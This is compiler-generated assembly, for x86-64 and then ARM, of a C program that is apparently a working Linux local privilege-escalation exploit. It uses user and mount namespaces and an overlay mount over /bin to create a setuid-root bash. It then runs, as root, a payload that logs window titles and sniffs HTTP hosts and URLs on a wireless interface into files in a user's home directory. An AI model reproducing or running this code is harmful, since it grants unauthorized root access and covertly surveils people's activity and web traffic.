	.file	"95451132.c"
	.intel_syntax noprefix
	.text
	.local	child_stack
	.comm	child_stack,1048576,32
	.section	.rodata
.LC0:
	.string	"rm -rf /tmp/haxhax"
.LC1:
	.string	"/tmp/haxhax"
.LC2:
	.string	"/tmp/haxhax/w"
.LC3:
	.string	"/tmp/haxhax/u"
.LC4:
	.string	"/tmp/haxhax/o"
	.align 8
.LC5:
	.string	"lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w"
.LC6:
	.string	"overlay"
.LC7:
	.string	"mount failed..\n"
.LC8:
	.string	"/tmp/haxhax/w/work"
.LC9:
	.string	"bash"
.LC10:
	.string	"/"
	.text
	.type	child_exec, @function
child_exec:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	lea	rdi, .LC0[rip]
	call	system@PLT
	mov	esi, 511
	lea	rdi, .LC1[rip]
	call	mkdir@PLT
	mov	esi, 511
	lea	rdi, .LC2[rip]
	call	mkdir@PLT
	mov	esi, 511
	lea	rdi, .LC3[rip]
	call	mkdir@PLT
	mov	esi, 511
	lea	rdi, .LC4[rip]
	call	mkdir@PLT
	lea	r8, .LC5[rip]
	mov	ecx, 3236757504
	lea	rdx, .LC6[rip]
	lea	rsi, .LC4[rip]
	lea	rdi, .LC6[rip]
	call	mount@PLT
	test	eax, eax
	je	.L2
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 15
	mov	esi, 1
	lea	rdi, .LC7[rip]
	call	fwrite@PLT
.L2:
	mov	esi, 511
	lea	rdi, .LC8[rip]
	call	chmod@PLT
	lea	rdi, .LC4[rip]
	call	chdir@PLT
	mov	esi, 2541
	lea	rdi, .LC9[rip]
	call	chmod@PLT
	lea	rdi, .LC10[rip]
	call	chdir@PLT
	lea	rdi, .LC4[rip]
	call	umount@PLT
	mov	eax, 0
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	child_exec, .-child_exec
	.section	.rodata
	.align 8
.LC11:
	.string	"failed to create new user namespace\n"
	.align 8
.LC12:
	.string	"failed to create new mount namespace\n"
.LC13:
	.string	"/tmp/haxhax/u/bash"
	.align 8
.LC14:
	.ascii	"rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,"
	.string	"0,0);os.system('export DISPLAY=:0;wmctrl -l>>\"/home/dimas/log.txt\";date >>/home/dimas/date.txt;cat /home/dimas/date.txt /home/dimas/log.txt >>/home/dimas/log-w-date.txt;httpry -F -i wlan0 -f host,request-uri | tr -d t>> /home/dimas/hasilcronurlofs.txt;');\""
.LC15:
	.string	"-c"
.LC16:
	.string	"-p"
.LC17:
	.string	"couldn't create suid :(\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 208
	mov	DWORD PTR -196[rbp], edi
	mov	QWORD PTR -208[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -176[rbp], 131089
	call	fork@PLT
	mov	DWORD PTR -172[rbp], eax
	cmp	DWORD PTR -172[rbp], 0
	jne	.L5
	mov	edi, 268435456
	mov	eax, 0
	call	unshare@PLT
	test	eax, eax
	je	.L6
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 36
	mov	esi, 1
	lea	rdi, .LC11[rip]
	call	fwrite@PLT
.L6:
	call	fork@PLT
	mov	DWORD PTR -168[rbp], eax
	cmp	DWORD PTR -168[rbp], 0
	jne	.L7
	lea	rsi, child_stack[rip+1048576]
	mov	eax, DWORD PTR -176[rbp]
	mov	ecx, 0
	mov	edx, eax
	lea	rdi, child_exec[rip]
	mov	eax, 0
	call	clone@PLT
	mov	DWORD PTR -164[rbp], eax
	cmp	DWORD PTR -164[rbp], 0
	jns	.L8
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 37
	mov	esi, 1
	lea	rdi, .LC12[rip]
	call	fwrite@PLT
	mov	edi, -1
	call	exit@PLT
.L8:
	lea	rcx, -180[rbp]
	mov	eax, DWORD PTR -164[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	call	waitpid@PLT
.L7:
	lea	rcx, -180[rbp]
	mov	eax, DWORD PTR -168[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	call	waitpid@PLT
	mov	eax, 0
	jmp	.L11
.L5:
	mov	edi, 300000
	call	usleep@PLT
	mov	edi, 0
	call	wait@PLT
	lea	rax, -160[rbp]
	mov	rsi, rax
	lea	rdi, .LC13[rip]
	call	stat@PLT
	mov	eax, DWORD PTR -136[rbp]
	cmp	eax, 35309
	jne	.L10
	mov	r9d, 0
	lea	r8, .LC14[rip]
	lea	rcx, .LC15[rip]
	lea	rdx, .LC16[rip]
	lea	rsi, .LC9[rip]
	lea	rdi, .LC13[rip]
	mov	eax, 0
	call	execl@PLT
.L10:
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 24
	mov	esi, 1
	lea	rdi, .LC17[rip]
	call	fwrite@PLT
	mov	eax, -1
.L11:
	mov	rdx, QWORD PTR -8[rbp]
	sub	rdx, QWORD PTR fs:40
	je	.L12
	call	__stack_chk_fail@PLT
.L12:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"95451132.c"
	.text
	.local	child_stack
	.comm	child_stack,1048576,4
	.section	.rodata
	.align	2
.LC0:
	.ascii	"rm -rf /tmp/haxhax\000"
	.align	2
.LC1:
	.ascii	"/tmp/haxhax\000"
	.align	2
.LC2:
	.ascii	"/tmp/haxhax/w\000"
	.align	2
.LC3:
	.ascii	"/tmp/haxhax/u\000"
	.align	2
.LC4:
	.ascii	"/tmp/haxhax/o\000"
	.align	2
.LC5:
	.ascii	"overlay\000"
	.align	2
.LC6:
	.ascii	"lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/h"
	.ascii	"axhax/w\000"
	.align	2
.LC7:
	.ascii	"mount failed..\012\000"
	.align	2
.LC8:
	.ascii	"/tmp/haxhax/w/work\000"
	.align	2
.LC9:
	.ascii	"bash\000"
	.align	2
.LC10:
	.ascii	"/\000"
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	child_exec, %function
child_exec:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-8]
	ldr	r0, .L4
	bl	system
	ldr	r1, .L4+4
	ldr	r0, .L4+8
	bl	mkdir
	ldr	r1, .L4+4
	ldr	r0, .L4+12
	bl	mkdir
	ldr	r1, .L4+4
	ldr	r0, .L4+16
	bl	mkdir
	ldr	r1, .L4+4
	ldr	r0, .L4+20
	bl	mkdir
	ldr	r3, .L4+24
	str	r3, [sp]
	ldr	r3, .L4+28
	ldr	r2, .L4+32
	ldr	r1, .L4+20
	ldr	r0, .L4+32
	bl	mount
	mov	r3, r0
	cmp	r3, #0
	beq	.L2
	ldr	r3, .L4+36
	ldr	r3, [r3]
	mov	r2, #15
	mov	r1, #1
	ldr	r0, .L4+40
	bl	fwrite
.L2:
	ldr	r1, .L4+4
	ldr	r0, .L4+44
	bl	chmod
	ldr	r0, .L4+20
	bl	chdir
	ldr	r1, .L4+48
	ldr	r0, .L4+52
	bl	chmod
	ldr	r0, .L4+56
	bl	chdir
	ldr	r0, .L4+20
	bl	umount
	mov	r3, #0
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L5:
	.align	2
.L4:
	.word	.LC0
	.word	511
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC6
	.word	-1058209792
	.word	.LC5
	.word	stderr
	.word	.LC7
	.word	.LC8
	.word	2541
	.word	.LC9
	.word	.LC10
	.size	child_exec, .-child_exec
	.section	.rodata
	.align	2
.LC11:
	.ascii	"failed to create new user namespace\012\000"
	.align	2
.LC12:
	.ascii	"failed to create new mount namespace\012\000"
	.align	2
.LC13:
	.ascii	"/tmp/haxhax/u/bash\000"
	.align	2
.LC14:
	.ascii	"-c\000"
	.align	2
.LC15:
	.ascii	"-p\000"
	.align	2
.LC16:
	.ascii	"rm -rf /tmp/haxhax;python -c \"import os;os.setresu"
	.ascii	"id(0,0,0);os.system('export DISPLAY=:0;wmctrl -l>>\""
	.ascii	"/home/dimas/log.txt\";date >>/home/dimas/date.txt;c"
	.ascii	"at /home/dimas/date.txt /home/dimas/log.txt >>/home"
	.ascii	"/dimas/log-w-date.txt;httpry -F -i wlan0 -f host,re"
	.ascii	"quest-uri | tr -d t>> /home/dimas/hasilcronurlofs.t"
	.ascii	"xt;');\"\000"
	.align	2
.LC17:
	.ascii	"couldn't create suid :(\012\000"
	.align	2
.LC18:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 120
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #128
	str	r0, [fp, #-120]
	str	r1, [fp, #-124]
	ldr	r3, .L15
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, .L15+4
	str	r3, [fp, #-116]
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-112]
	ldr	r3, [fp, #-112]
	cmp	r3, #0
	bne	.L7
	mov	r0, #268435456
	bl	unshare
	mov	r3, r0
	cmp	r3, #0
	beq	.L8
	ldr	r3, .L15+8
	ldr	r3, [r3]
	mov	r2, #36
	mov	r1, #1
	ldr	r0, .L15+12
	bl	fwrite
.L8:
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-108]
	ldr	r3, [fp, #-108]
	cmp	r3, #0
	bne	.L9
	ldr	r1, .L15+16
	mov	r3, #0
	ldr	r2, [fp, #-116]
	ldr	r0, .L15+20
	bl	clone
	str	r0, [fp, #-104]
	ldr	r3, [fp, #-104]
	cmp	r3, #0
	bge	.L10
	ldr	r3, .L15+8
	ldr	r3, [r3]
	mov	r2, #37
	mov	r1, #1
	ldr	r0, .L15+24
	bl	fwrite
	mvn	r0, #0
	bl	exit
.L10:
	sub	r3, fp, #100
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-104]
	bl	waitpid
.L9:
	sub	r3, fp, #100
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-108]
	bl	waitpid
	mov	r3, #0
	b	.L13
.L7:
	ldr	r0, .L15+28
	bl	usleep
	mov	r0, #0
	bl	wait
	sub	r3, fp, #100
	mov	r1, r3
	ldr	r0, .L15+32
	bl	stat
	ldr	r3, [fp, #-84]
	ldr	r2, .L15+36
	cmp	r3, r2
	bne	.L12
	mov	r3, #0
	str	r3, [sp, #4]
	ldr	r3, .L15+40
	str	r3, [sp]
	ldr	r3, .L15+44
	ldr	r2, .L15+48
	ldr	r1, .L15+52
	ldr	r0, .L15+32
	bl	execl
.L12:
	ldr	r3, .L15+8
	ldr	r3, [r3]
	mov	r2, #24
	mov	r1, #1
	ldr	r0, .L15+56
	bl	fwrite
	mvn	r3, #0
.L13:
	ldr	r2, .L15
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L14
	bl	__stack_chk_fail
.L14:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L16:
	.align	2
.L15:
	.word	.LC18
	.word	131089
	.word	stderr
	.word	.LC11
	.word	child_stack+1048576
	.word	child_exec
	.word	.LC12
	.word	300000
	.word	.LC13
	.word	35309
	.word	.LC16
	.word	.LC14
	.word	.LC15
	.word	.LC9
	.word	.LC17
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
